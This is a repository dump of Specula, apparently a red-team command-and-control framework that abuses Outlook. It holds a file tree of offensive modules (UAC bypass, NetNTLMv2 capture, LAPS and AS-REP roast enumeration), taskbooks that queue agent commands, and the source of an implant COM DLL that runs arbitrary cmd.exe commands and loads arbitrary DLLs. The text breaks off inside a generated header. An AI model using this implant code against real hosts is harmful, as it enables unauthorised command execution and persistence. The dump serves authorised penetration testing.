Repository: trustedsec/specula Branch: main Commit: 2b913314d10f Files: 312 Total size: 560.7 KB Directory structure: gitextract_vdz89222/ ├── .gitignore ├── CONTRIBUTING.md ├── README.md ├── Taskbooks/ │ ├── enum_installed_software.py │ └── example.py ├── api/ │ ├── README.md │ ├── SpeculaApi/ │ │ ├── Sepcula.cpp │ │ ├── Sepcula.h │ │ ├── Sepcula.rgs │ │ ├── SpeculaApi.cpp │ │ ├── SpeculaApi.def │ │ ├── SpeculaApi.idl │ │ ├── SpeculaApi.rc │ │ ├── SpeculaApi.rgs │ │ ├── SpeculaApi.vcxproj │ │ ├── SpeculaApi.vcxproj.filters │ │ ├── SpeculaApi_i.h │ │ ├── SpeculaApips.def │ │ ├── dllmain.cpp │ │ ├── dllmain.h │ │ ├── framework.h │ │ ├── pch.cpp │ │ ├── pch.h │ │ ├── resource.h │ │ └── targetver.h │ ├── SpeculaApi.sln │ └── SpeculaApiPS/ │ ├── SpeculaApiPS.vcxproj │ └── SpeculaApiPS.vcxproj.filters ├── functions/ │ ├── api/ │ │ ├── install_api.py │ │ ├── install_api.txt │ │ ├── load_dll.py │ │ ├── load_dll.txt │ │ ├── remove_api.py │ │ ├── remove_api.txt │ │ ├── run_shell.py │ │ ├── run_shell.txt │ │ ├── verify_api.py │ │ └── verify_api.txt │ ├── enumerate/ │ │ ├── host/ │ │ │ ├── list_amsiproviders.py │ │ │ ├── list_amsiproviders.txt │ │ │ ├── list_applocker.py │ │ │ ├── list_applocker.txt │ │ │ ├── list_autoruns.py │ │ │ ├── list_autoruns.txt │ │ │ ├── list_basic.py │ │ │ ├── list_basic.txt │ │ │ ├── list_boottime.py │ │ │ ├── list_boottime.txt │ │ │ ├── list_clipboard.py │ │ │ ├── list_clipboard.txt │ │ │ ├── list_environmentvariables.py │ │ │ ├── list_environmentvariables.txt │ │ │ ├── list_gpp.py │ │ │ ├── list_gpp.txt │ │ │ ├── list_hostsfile.py │ │ │ ├── list_hostsfile.txt │ │ │ ├── list_hotfixes.py │ │ │ ├── list_hotfixes.txt │ │ │ ├── list_installedapps.py │ │ │ ├── list_installedapps.txt │ │ │ ├── list_installeddotnet.py │ │ │ ├── list_installeddotnet.txt │ │ │ ├── list_installedpowershell.py │ │ │ ├── list_installedpowershell.txt │ │ │ ├── list_iprouting.py │ │ │ ├── list_iprouting.txt │ │ │ ├── list_localadmins.py │ │ │ ├── list_localadmins.txt │ │ │ ├── list_localusers.py │ │ │ ├── list_localusers.txt │ │ │ ├── list_logging.py │ │ │ ├── list_logging.txt │ │ │ ├── list_mappeddrives.py │ │ │ ├── list_mappeddrives.txt │ │ │ ├── list_networkcardinfo.py │ │ │ ├── list_networkcardinfo.txt │ │ │ ├── list_networklogon.py │ │ │ ├── list_networklogon.txt │ │ │ ├── list_ntdomaininfo.py │ │ │ ├── list_ntdomaininfo.txt │ │ │ ├── list_officearch.py │ │ │ ├── list_officearch.txt │ │ │ ├── list_printers.py │ │ │ ├── list_printers.txt │ │ │ ├── list_processes.py │ │ │ ├── list_processes.txt │ │ │ ├── list_recentcommands.py │ │ │ ├── list_recentcommands.txt │ │ │ ├── list_recentfiles.py │ │ │ ├── list_recentfiles.txt │ │ │ ├── list_recyclebin.py │ │ │ ├── list_recyclebin.txt │ │ │ ├── list_scheduledtasks.py │ │ │ ├── list_scheduledtasks.txt │ │ │ ├── list_servicepermissions.py │ │ │ ├── list_servicepermissions.txt │ │ │ ├── list_services.py │ │ │ ├── list_services.txt │ │ │ ├── list_startmenu.py │ │ │ ├── list_startmenu.txt │ │ │ ├── list_timezone.py │ │ │ ├── list_timezone.txt │ │ │ ├── list_whoami.py │ │ │ ├── list_whoami.txt │ │ │ ├── list_windowsarch.py │ │ │ ├── list_windowsarch.txt │ │ │ ├── list_windowsversion.py │ │ │ └── list_windowsversion.txt │ │ └── ldap/ │ │ ├── ldap_query.py │ │ ├── ldap_query.txt │ │ ├── list_addcomputertodomain.py │ │ ├── list_addcomputertodomain.txt │ │ ├── list_asreproast.py │ │ ├── list_asreproast.txt │ │ ├── list_computer.py │ │ ├── list_computer.txt │ │ ├── list_computers.py │ │ ├── list_computers.txt │ │ ├── list_domaininfo.py │ │ ├── list_domaininfo.txt │ │ ├── list_lapspassword.py │ │ ├── list_lapspassword.txt │ │ ├── list_passwordnotrequired.py │ │ ├── list_passwordnotrequired.txt │ │ ├── list_passwordpolicy.py │ │ ├── list_passwordpolicy.txt │ │ ├── list_user.py │ │ ├── list_user.txt │ │ ├── list_users.py │ │ └── list_users.txt │ ├── execute/ │ │ └── host/ │ │ ├── application.py │ │ ├── application.txt │ │ ├── capture_netntlmv2.py │ │ ├── capture_netntlmv2.txt │ │ ├── cmd.py │ │ ├── cmd.txt │ │ ├── execute_excel4macro.py │ │ ├── execute_excel4macro.txt │ │ ├── execute_registerxll.py │ │ ├── execute_registerxll.txt │ │ ├── migrate_homepage.py │ │ ├── migrate_homepage.txt │ │ ├── remove_homepage.py │ │ ├── remove_homepage.txt │ │ ├── set_calendarhomepagehook.py │ │ ├── set_calendarhomepagehook.txt │ │ ├── spawnproc_explorer.py │ │ ├── spawnproc_explorer.txt │ │ ├── uac-sdclt.py │ │ ├── uac-sdclt.txt │ │ ├── wmi_execute.py │ │ ├── wmi_execute.txt │ │ ├── wmi_killprocname.py │ │ ├── wmi_killprocname.txt │ │ ├── wmi_killprocpid.py │ │ ├── wmi_killprocpid.txt │ │ ├── wscriptshell.py │ │ └── wscriptshell.txt │ ├── operation/ │ │ ├── file/ │ │ │ ├── cat_file.py │ │ │ ├── cat_file.txt │ │ │ ├── check_filearch.py │ │ │ ├── check_filearch.txt │ │ │ ├── check_fileexist.py │ │ │ ├── check_fileexist.txt │ │ │ ├── check_filehash.py │ │ │ ├── check_filehash.txt │ │ │ ├── copy_dir.py │ │ │ ├── copy_dir.txt │ │ │ ├── copy_file.py │ │ │ ├── copy_file.txt │ │ │ ├── create_dir.py │ │ │ ├── create_dir.txt │ │ │ ├── create_shortcut.py │ │ │ ├── create_shortcut.txt │ │ │ ├── delete_dir.py │ │ │ ├── delete_dir.txt │ │ │ ├── delete_file.py │ │ │ ├── delete_file.txt │ │ │ ├── download_filehttp.py │ │ │ ├── download_filehttp.txt │ │ │ ├── get_file.py │ │ │ ├── get_file.txt │ │ │ ├── list_acl.py │ │ │ ├── list_acl.txt │ │ │ ├── list_dir.py │ │ │ ├── list_dir.txt │ │ │ ├── list_shortcutinfo.py │ │ │ ├── list_shortcutinfo.txt │ │ │ ├── move_file.py │ │ │ ├── move_file.txt │ │ │ ├── put_file.py │ │ │ ├── put_file.txt │ │ │ ├── split_file.py │ │ │ ├── split_file.txt │ │ │ ├── zip_content.py │ │ │ └── zip_content.txt │ │ ├── network/ │ │ │ ├── netstat.py │ │ │ ├── netstat.txt │ │ │ ├── nslookup.py │ │ │ └── nslookup.txt │ │ ├── outlook/ │ │ │ ├── adjust_notifications.py │ │ │ ├── adjust_notifications.txt │ │ │ ├── change_outlookfolder.py │ │ │ ├── change_outlookfolder.txt │ │ │ ├── changeview_outlookfolder.py │ │ │ ├── changeview_outlookfolder.txt │ │ │ ├── delete_mail.py │ │ │ ├── delete_mail.txt │ │ │ ├── dump_gal.py │ │ │ ├── dump_gal.txt │ │ │ ├── get_emailaddress.py │ │ │ ├── get_emailaddress.txt │ │ │ ├── list_notifications.py │ │ │ ├── list_notifications.txt │ │ │ ├── list_overview.py │ │ │ ├── list_overview.txt │ │ │ ├── read_calendar.py │ │ │ ├── read_calendar.txt │ │ │ ├── read_contacts.py │ │ │ ├── read_contacts.txt │ │ │ ├── read_email.py │ │ │ ├── read_email.txt │ │ │ ├── read_emailnamedfolder.py │ │ │ ├── read_emailnamedfolder.txt │ │ │ ├── read_other.py │ │ │ ├── read_other.txt │ │ │ ├── savedraft_filemail.py │ │ │ ├── savedraft_filemail.txt │ │ │ ├── search_email.py │ │ │ ├── search_email.txt │ │ │ ├── send_mail.py │ │ │ ├── send_mail.txt │ │ │ ├── sendfile_mail.py │ │ │ ├── sendfile_mail.txt │ │ │ ├── stop_outlook.py │ │ │ └── stop_outlook.txt │ │ ├── registry/ │ │ │ ├── delkeyhkcuregistry.py │ │ │ ├── delkeyhkcuregistry.txt │ │ │ ├── delvaluehkcuregistry.py │ │ │ ├── delvaluehkcuregistry.txt │ │ │ ├── getallkeysregistry.py │ │ │ ├── getallkeysregistry.txt │ │ │ ├── getallvaluesregistry.py │ │ │ ├── getallvaluesregistry.txt │ │ │ ├── getvalueregistry.py │ │ │ ├── getvalueregistry.txt │ │ │ ├── setvaluehkcuregistry.py │ │ │ └── setvaluehkcuregistry.txt │ │ └── specula/ │ │ ├── remove_allowlongscriptruntime.py │ │ ├── remove_allowlongscriptruntime.txt │ │ ├── set_allowlongscriptruntime.py │ │ └── set_allowlongscriptruntime.txt │ └── trolling/ │ ├── play_voice.py │ ├── play_voice.txt │ ├── set_clipboard.py │ └── set_clipboard.txt ├── helperFunctions/ │ ├── Delregkey_hkcu.txt │ ├── Delregvalue_hkcu.txt │ ├── Getallregkeys.txt │ ├── Getallregvalues.txt │ ├── Getregvalue.txt │ ├── HexToBytes.txt │ ├── Setregvalue_hkcu.txt │ ├── base64.txt │ ├── base_template.txt │ ├── createstream.txt │ ├── dir_creator.txt │ ├── dir_lister.txt │ └── supportFuncs.txt ├── hiddenFunctions/ │ ├── downloadGAL.py │ ├── downloadGAL.txt │ ├── download_file.py │ ├── download_file.txt │ ├── upload_file.py │ └── upload_file.txt ├── hooker_generator.py ├── lib/ │ ├── core/ │ │ ├── helpers.py │ │ ├── setup.py │ │ ├── specagents.py │ │ ├── specmodule.py │ │ ├── specpayload.py │ │ ├── spectaskbook.py │ │ ├── utility.py │ │ └── utils.py │ ├── handlers/ │ │ ├── base.html │ │ ├── blacklist.html │ │ ├── dev_blank.html │ │ ├── dev_encrypted_task_template.html │ │ ├── dev_unencrypted_task_template.html │ │ ├── redirect_template.html │ │ ├── specapplication.py │ │ ├── speccomms.py │ │ ├── specdevcomms.py │ │ ├── specpayload.py │ │ ├── specvalidate.py │ │ └── validation.html │ ├── menu/ │ │ ├── specpromptdbedit.py │ │ ├── specpromptexplorer.py │ │ ├── specpromptinteract.py │ │ ├── specpromptmodule.py │ │ ├── specpromptpayload.py │ │ ├── specpromptprestage.py │ │ └── specpromptpushover.py │ ├── modhandlers/ │ │ └── generic.py │ ├── tab_completers/ │ │ └── generic.py │ └── validators/ │ ├── files.py │ └── generic.py ├── release_history.txt ├── requirements.txt ├── specula.py └── ssl/ ├── ssl-cert-snakeoil.key └── ssl-cert-snakeoil.pem ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ *.db configoptions.py specConfig.ini DefaultBlacklist.txt .vscode/ specula_log.txt weblog.log operator_log.txt agent_data/ payloadhosting/ venv/ *.pyc ================================================ FILE: CONTRIBUTING.md ================================================ # Contributions If you are considering contributing to our repository, first thank you for doing so!
Contributions from community members are more than welcome, there are a few items that you should be aware of for a smooth process
At this time we will not be accepting new functional changes to the provided COM object. If you find an error in the existing code we will accept a pull to fix that within the COM object. ## Technique Expectations * Capabilities should run without causing outlook.exe to lock up. * Capabilities should acount for errors that may occur and handle them ## Code Expectations * python code should be coded to work from version 3.9 to 3.11 * Any additions to helperFunctions should be well-formed and usable from other vbs scripts * Removal of intentionally placed IOC's will be rejected * Again any updates to code under api/* should be error correcting in nature only, not feature additions. ## What to expect as a contributor After your contribution is received, it will receive an in-depth code review and testing.
After testing is completed, we will have zero or more rounds of change requests based on findings until there are no issues in the code. At that point it will be accepted into the repository, and your github username will be added to our credit list (if you would prefer not to be added or some other handle to be used, just let me know) ================================================ FILE: README.md ================================================ Getting started info and information for developing your own modules is available on the [wiki](https://github.com/trustedsec/specula/wiki) ================================================ FILE: Taskbooks/enum_installed_software.py ================================================ def TaskBook(helpers, agent): mod = helpers.get_module('operation/file/list_dir') helpers.setModOption(mod, 'directory', optval="c:\Program Files") helpers.setModOption(mod, 'recurselevels', optval="0") helpers.setModOption(mod, 'depth', optval="0") helpers.setModOption(mod, 'filetype', optval="*") helpers.setModOption(mod, 'filename', optval="*") helpers.setModOption(mod, 'nodirectories', optval="False") helpers.setModOption(mod, 'sizeformat', optval="mb") helpers.setModOption(mod, 'nofiles', optval="True") helpers.setModOption(mod, 'output_console', optval="False") helpers.insertTask(agent, mod, 'operation/file/list_dir') mod = helpers.get_module('operation/file/list_dir') helpers.setModOption(mod, 'directory', optval="c:\Program Files (x86)") helpers.setModOption(mod, 'recurselevels', optval="0") helpers.setModOption(mod, 'depth', optval="0") helpers.setModOption(mod, 'filetype', optval="*") helpers.setModOption(mod, 'filename', optval="*") helpers.setModOption(mod, 'nodirectories', optval="False") helpers.setModOption(mod, 'sizeformat', optval="mb") helpers.setModOption(mod, 'nofiles', optval="True") helpers.setModOption(mod, 'output_console', optval="False") helpers.insertTask(agent, mod, 'operation/file/list_dir') mod = helpers.get_module('enumerate/host/list_installedapps') helpers.insertTask(agent, mod, 'enumerate/host/list_installedapps') ================================================ FILE: Taskbooks/example.py ================================================ def TaskBook(helpers, agent): mod = helpers.get_module('enumerate/host/list_applocker') # this doesn't take arguments, so we aren't giving it any helpers.insertTask(agent, mod, 'enumerate/host/list_applocker') mod = helpers.get_module('execute/host/cmd') # this does take an argument so we need to populate it helpers.setModOption(mod, 'command', prompt="What command would you like to run: ") helpers.insertTask(agent, mod, 'execute/host/cmd') #we don't have to prompt for the input though mod = helpers.get_module('operation/file/listdir') helpers.setModOption(mod, 'strpath', optval="C:\Windows") helpers.insertTask(agent, mod, 'operation/file/listdir') ================================================ FILE: api/README.md ================================================ # SpeculaApi ================================================ FILE: api/SpeculaApi/Sepcula.cpp ================================================ // Sepcula.cpp : Implementation of CSepcula #include "pch.h" #include "Sepcula.h" #define BUFFERSIZE 4096 // CSepcula STDMETHODIMP_(HRESULT __stdcall) CSepcula::RunShell(BSTR cmd, VARIANT timeout, BSTR * result) { CComBSTR errmsg{ L"Failed to run shell command" }; HRESULT hret = S_OK; char outputbuffer[BUFFERSIZE]; CComBSTR totaloutput{}; DWORD availBytes = 0; SECURITY_ATTRIBUTES saAttr; saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; HANDLE hChildStd_OUT_Rd = NULL; HANDLE hChildStd_OUT_Wr = NULL; // Create a pipe for the child process's STDOUT. if (!CreatePipe(&hChildStd_OUT_Rd, &hChildStd_OUT_Wr, &saAttr, 0)) { hret = HRESULT_FROM_WIN32(GetLastError()); errmsg.CopyTo(result); return hret; } // Ensure the read handle to the pipe for STDOUT is not inherited. if (!SetHandleInformation(hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) { CloseHandle(hChildStd_OUT_Rd); CloseHandle(hChildStd_OUT_Wr); hret = HRESULT_FROM_WIN32(GetLastError()); errmsg.CopyTo(result); return hret; } STARTUPINFO siStartInfo; ZeroMemory(&siStartInfo, sizeof(STARTUPINFO)); siStartInfo.cb = sizeof(STARTUPINFO); siStartInfo.hStdError = hChildStd_OUT_Wr; siStartInfo.hStdOutput = hChildStd_OUT_Wr; siStartInfo.dwFlags |= STARTF_USESTDHANDLES; PROCESS_INFORMATION piProcInfo; ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION)); CComBSTR fullcmd{ CmdProg }; fullcmd.Append(cmd); // Create the child process. if (!CreateProcessW(NULL, fullcmd, // command line NULL, // process security attributes NULL, // primary thread security attributes TRUE, // handles are inherited 0, // creation flags NULL, // use parent's environment NULL, // use parent's current directory &siStartInfo, // STARTUPINFO pointer &piProcInfo)) // receives PROCESS_INFORMATION { hret = HRESULT_FROM_WIN32(GetLastError()); errmsg.CopyTo(result); CloseHandle(hChildStd_OUT_Rd); CloseHandle(hChildStd_OUT_Wr); return hret; } DWORD iterations = (timeout.vt == VT_I4) ? timeout.iVal : 60; while (WaitForSingleObject(piProcInfo.hProcess, 1000) == WAIT_TIMEOUT && iterations) { availBytes = 0; PeekNamedPipe(hChildStd_OUT_Rd, NULL, 0, NULL, &availBytes, NULL); while (availBytes) { ZeroMemory(outputbuffer, sizeof(outputbuffer)); DWORD thisread = (availBytes >= BUFFERSIZE) ? BUFFERSIZE : availBytes; DWORD read = 0; ReadFile(hChildStd_OUT_Rd, (char*)outputbuffer, BUFFERSIZE, &read, NULL); totaloutput.Append(outputbuffer); availBytes -= read; } iterations--; } if (iterations == 0) { totaloutput.Append(L"\n\nProcess wait timed out"); } else { availBytes = 0; PeekNamedPipe(hChildStd_OUT_Rd, NULL, 0, NULL, &availBytes, NULL); while (availBytes) { ZeroMemory(outputbuffer, sizeof(outputbuffer)); DWORD thisread = (availBytes >= BUFFERSIZE) ? BUFFERSIZE : availBytes; DWORD read = 0; ReadFile(hChildStd_OUT_Rd, (char*)outputbuffer, BUFFERSIZE, &read, NULL); totaloutput.Append(outputbuffer); availBytes -= read; } } totaloutput.CopyTo(result); CloseHandle(hChildStd_OUT_Rd); CloseHandle(hChildStd_OUT_Wr); return hret; } STDMETHODIMP_(HRESULT __stdcall) CSepcula::LoadDll(BSTR path, boolean persist, boolean* status) { HMODULE mod = LoadLibraryW(path); *status = false; if (mod == nullptr) { return HRESULT_FROM_WIN32(GetLastError()); } if (!persist) { FreeLibrary(mod); } *status = true; return S_OK; } ================================================ FILE: api/SpeculaApi/Sepcula.h ================================================ // Sepcula.h : Declaration of the CSepcula #pragma once #include "resource.h" // main symbols #include "SpeculaApi_i.h" using namespace ATL; // CSepcula class ATL_NO_VTABLE CSepcula : public CComObjectRootEx, public CComCoClass, public IDispatchImpl { public: CSepcula() { } DECLARE_REGISTRY_RESOURCEID(IDR_SEPCULA) BEGIN_COM_MAP(CSepcula) COM_INTERFACE_ENTRY(ISepcula) COM_INTERFACE_ENTRY(IDispatch) END_COM_MAP() DECLARE_PROTECT_FINAL_CONSTRUCT() HRESULT FinalConstruct() { return S_OK; } void FinalRelease() { } public: STDMETHOD(RunShell)(BSTR cmd, VARIANT timeout, BSTR * result); STDMETHOD(LoadDll)(BSTR path, boolean persist, boolean* status); private: CComBSTR CmdProg{L"C:\\Windows\\system32\\cmd.exe /c "}; }; OBJECT_ENTRY_AUTO(__uuidof(Sepcula), CSepcula) ================================================ FILE: api/SpeculaApi/Sepcula.rgs ================================================ HKCR { SpeculaApi.Specula.1 = s 'Specula class' { CLSID = s '{e8b55279-c6b4-48f3-8138-b727337c0236}' } SpeculaApi.Specula = s 'Specula class' { CurVer = s 'SpeculaApi.Specula.1' } NoRemove CLSID { ForceRemove {e8b55279-c6b4-48f3-8138-b727337c0236} = s 'Specula class' { ProgID = s 'SpeculaApi.Specula.1' VersionIndependentProgID = s 'SpeculaApi.Specula' ForceRemove Programmable InprocServer32 = s '%MODULE%' { val ThreadingModel = s 'Free' } TypeLib = s '{5be8ef76-6253-482a-926e-d1d877de3b63}' Version = s '1.0' } } } ================================================ FILE: api/SpeculaApi/SpeculaApi.cpp ================================================ // SpeculaApi.cpp : Implementation of DLL Exports. #include "pch.h" #include "framework.h" #include "resource.h" #include "SpeculaApi_i.h" #include "dllmain.h" using namespace ATL; // Used to determine whether the DLL can be unloaded by OLE. _Use_decl_annotations_ STDAPI DllCanUnloadNow(void) { return _AtlModule.DllCanUnloadNow(); } // Returns a class factory to create an object of the requested type. _Use_decl_annotations_ STDAPI DllGetClassObject(_In_ REFCLSID rclsid, _In_ REFIID riid, _Outptr_ LPVOID* ppv) { return _AtlModule.DllGetClassObject(rclsid, riid, ppv); } // DllRegisterServer - Adds entries to the system registry. _Use_decl_annotations_ STDAPI DllRegisterServer(void) { // registers object, typelib and all interfaces in typelib HRESULT hr = _AtlModule.DllRegisterServer(); return hr; } // DllUnregisterServer - Removes entries from the system registry. _Use_decl_annotations_ STDAPI DllUnregisterServer(void) { HRESULT hr = _AtlModule.DllUnregisterServer(); return hr; } // DllInstall - Adds/Removes entries to the system registry per user per machine. STDAPI DllInstall(BOOL bInstall, _In_opt_ LPCWSTR pszCmdLine) { HRESULT hr = E_FAIL; static const wchar_t szUserSwitch[] = L"user"; if (pszCmdLine != nullptr) { if (_wcsnicmp(pszCmdLine, szUserSwitch, _countof(szUserSwitch)) == 0) { ATL::AtlSetPerUserRegistration(true); } } if (bInstall) { hr = DllRegisterServer(); if (FAILED(hr)) { DllUnregisterServer(); } } else { hr = DllUnregisterServer(); } return hr; } ================================================ FILE: api/SpeculaApi/SpeculaApi.def ================================================ ; SpeculaApi.def : Declares the module parameters. LIBRARY EXPORTS DllCanUnloadNow PRIVATE DllGetClassObject PRIVATE DllRegisterServer PRIVATE DllUnregisterServer PRIVATE DllInstall PRIVATE ================================================ FILE: api/SpeculaApi/SpeculaApi.idl ================================================ // SpeculaApi.idl : IDL source for SpeculaApi // // This file will be processed by the MIDL tool to // produce the type library (SpeculaApi.tlb) and marshalling code. import "oaidl.idl"; import "ocidl.idl"; [ object, uuid(b0f5f947-8064-48f7-a623-5c058dc91cc8), dual, nonextensible, pointer_default(unique) ] interface ISepcula : IDispatch { [id(1)] HRESULT RunShell([in] BSTR cmd, [in, optional] VARIANT timeout, [out, retval] BSTR* result); [id(2)] HRESULT LoadDll([in] BSTR path, [in] boolean persist, [out, retval] boolean* status); }; [ uuid(5be8ef76-6253-482a-926e-d1d877de3b63), version(1.0), ] library SpeculaApiLib { importlib("stdole2.tlb"); [ uuid(e8b55279-c6b4-48f3-8138-b727337c0236) ] coclass Sepcula { [default] interface ISepcula; }; }; import "shobjidl.idl"; ================================================ FILE: api/SpeculaApi/SpeculaApi.rgs ================================================ HKCR { } ================================================ FILE: api/SpeculaApi/SpeculaApi.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 17.0 {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB} AtlProj 10.0 DynamicLibrary true v143 Unicode DynamicLibrary false v143 Unicode DynamicLibrary true v143 Unicode DynamicLibrary false v143 Unicode true true true true true false $(SolutionDir)bin\ true false $(SolutionDir)bin\ $(ProjectName).x64 Use Level3 Disabled _WINDOWS;_DEBUG;_USRDLL;%(PreprocessorDefinitions) pch.h true false _DEBUG;%(PreprocessorDefinitions) SpeculaApi_i.h SpeculaApi_i.c SpeculaApi_p.c true $(IntDir)SpeculaApi.tlb true 0x0409 $(IntDir);%(AdditionalIncludeDirectories) _DEBUG;%(PreprocessorDefinitions) Windows .\SpeculaApi.def true true Use Level3 Disabled WIN32;_WINDOWS;_DEBUG;_USRDLL;%(PreprocessorDefinitions) pch.h true false Win32 _DEBUG;%(PreprocessorDefinitions) SpeculaApi_i.h SpeculaApi_i.c SpeculaApi_p.c true $(IntDir)SpeculaApi.tlb true 0x0409 $(IntDir);%(AdditionalIncludeDirectories) _DEBUG;%(PreprocessorDefinitions) Windows .\SpeculaApi.def true Use Level3 MaxSpeed WIN32;_WINDOWS;NDEBUG;_USRDLL;%(PreprocessorDefinitions) pch.h true None MultiThreaded false Win32 NDEBUG;%(PreprocessorDefinitions) SpeculaApi_i.h SpeculaApi_i.c SpeculaApi_p.c true $(IntDir)SpeculaApi.tlb true 0x0409 $(IntDir);%(AdditionalIncludeDirectories) NDEBUG;%(PreprocessorDefinitions) Windows .\SpeculaApi.def true true true true false Use Level3 MaxSpeed _WINDOWS;NDEBUG;_USRDLL;%(PreprocessorDefinitions) pch.h true None MultiThreaded false NDEBUG;%(PreprocessorDefinitions) SpeculaApi_i.h SpeculaApi_i.c SpeculaApi_p.c true $(IntDir)SpeculaApi.tlb true 0x0409 $(IntDir);%(AdditionalIncludeDirectories) NDEBUG;%(PreprocessorDefinitions) Windows .\SpeculaApi.def true true true true false false false false false Create Create Create Create false false false false ================================================ FILE: api/SpeculaApi/SpeculaApi.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms {53bbe418-42c7-4cd4-a4d9-3d1ca2106f6e} False Header Files Header Files Header Files Header Files Generated Files Header Files Header Files Source Files Source Files Generated Files Source Files Source Files Resource Files Resource Files Source Files Resource Files Source Files ================================================ FILE: api/SpeculaApi/SpeculaApi_i.h ================================================ /* this ALWAYS GENERATED file contains the definitions for the interfaces */ /* File created by MIDL compiler version 8.01.0628 */ /* at Mon Jan 18 21:14:07 2038 */ /* Compiler settings for SpeculaApi.idl: Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0628 protocol : dce , ms_ext, c_ext, robust error checks: allocation ref bounds_check enum stub_data VC __declspec() decoration level: __declspec(uuid()), __declspec(selectany), __declspec(novtable) DECLSPEC_UUID(), MIDL_INTERFACE() */ /* @@MIDL_FILE_HEADING( ) */ /* verify that the version is high enough to compile this file*/ #ifndef __REQUIRED_RPCNDR_H_VERSION__ #define __REQUIRED_RPCNDR_H_VERSION__ 500 #endif #include "rpc.h" #include "rpcndr.h" #ifndef __RPCNDR_H_VERSION__ #error this stub requires an updated version of #endif /* __RPCNDR_H_VERSION__ */ #ifndef COM_NO_WINDOWS_H #include "windows.h" #include "ole2.h" #endif /*COM_NO_WINDOWS_H*/ #ifndef __SpeculaApi_i_h__ #define __SpeculaApi_i_h__ #if defined(_MSC_VER) && (_MSC_VER >= 1020) #pragma once #endif #ifndef DECLSPEC_XFGVIRT #if defined(_CONTROL_FLOW_GUARD_XFG) #define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func)) #else #define DECLSPEC_XFGVIRT(base, func) #endif #endif /* Forward Declarations */ #ifndef __ISepcula_FWD_DEFINED__ #define __ISepcula_FWD_DEFINED__ typedef interface ISepcula ISepcula; #endif /* __ISepcula_FWD_DEFINED__ */ #ifndef __Sepcula_FWD_DEFINED__ #define __Sepcula_FWD_DEFINED__ #ifdef __cplusplus typedef class Sepcula Sepcula; #else typedef struct Sepcula Sepcula; #endif /* __cplusplus */ #endif /* __Sepcula_FWD_DEFINED__ */ /* header files for imported files */ #include "oaidl.h" #include "ocidl.h" #include "shobjidl.h" #ifdef __cplusplus extern "C"{ #endif #ifndef __ISepcula_INTERFACE_DEFINED__ #define __ISepcula_INTERFACE_DEFINED__ /* interface ISepcula */ /* [unique][nonextensible][dual][uuid][object] */ EXTERN_C const IID IID_ISepcula; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("b0f5f947-8064-48f7-a623-5c058dc91cc8") ISepcula : public IDispatch { public: virtual /* [id] */ HRESULT STDMETHODCALLTYPE RunShell( /* [in] */ BSTR cmd, /* [optional][in] */ VARIANT timeout, /* [retval][out] */ BSTR *result) = 0; virtual /* [id] */ HRESULT STDMETHODCALLTYPE LoadDll( /* [in] */ BSTR path, /* [in] */ boolean persist, /* [retval][out] */ boolean *status) = 0; }; #else /* C style interface */ typedef struct ISepculaVtbl { BEGIN_INTERFACE DECLSPEC_XFGVIRT(IUnknown, QueryInterface) HRESULT ( STDMETHODCALLTYPE *QueryInterface )( ISepcula * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); DECLSPEC_XFGVIRT(IUnknown, AddRef) ULONG ( STDMETHODCALLTYPE *AddRef )( ISepcula * This); DECLSPEC_XFGVIRT(IUnknown, Release) ULONG ( STDMETHODCALLTYPE *Release )( ISepcula * This); DECLSPEC_XFGVIRT(IDispatch, GetTypeInfoCount) HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( ISepcula * This, /* [out] */ UINT *pctinfo); DECLSPEC_XFGVIRT(IDispatch, GetTypeInfo) HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( ISepcula * This, /* [in] */ UINT iTInfo, /* [in] */ LCID lcid, /* [out] */ ITypeInfo **ppTInfo); DECLSPEC_XFGVIRT(IDispatch, GetIDsOfNames) HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( ISepcula * This, /* [in] */ REFIID riid, /* [size_is][in] */ LPOLESTR *rgszNames, /* [range][in] */ UINT cNames, /* [in] */ LCID lcid, /* [size_is][out] */ DISPID *rgDispId); DECLSPEC_XFGVIRT(IDispatch, Invoke) /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( ISepcula * This, /* [annotation][in] */ _In_ DISPID dispIdMember, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][in] */ _In_ LCID lcid, /* [annotation][in] */ _In_ WORD wFlags, /* [annotation][out][in] */ _In_ DISPPARAMS *pDispParams, /* [annotation][out] */ _Out_opt_ VARIANT *pVarResult, /* [annotation][out] */ _Out_opt_ EXCEPINFO *pExcepInfo, /* [annotation][out] */ _Out_opt_ UINT *puArgErr); DECLSPEC_XFGVIRT(ISepcula, RunShell) /* [id] */ HRESULT ( STDMETHODCALLTYPE *RunShell )( ISepcula * This, /* [in] */ BSTR cmd, /* [optional][in] */ VARIANT timeout, /* [retval][out] */ BSTR *result); DECLSPEC_XFGVIRT(ISepcula, LoadDll) /* [id] */ HRESULT ( STDMETHODCALLTYPE *LoadDll )( ISepcula * This, /* [in] */ BSTR path, /* [in] */ boolean persist, /* [retval][out] */ boolean *status); END_INTERFACE } ISepculaVtbl; interface ISepcula { CONST_VTBL struct ISepculaVtbl *lpVtbl; }; #ifdef COBJMACROS #define ISepcula_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define ISepcula_AddRef(This) \ ( (This)->lpVtbl -> 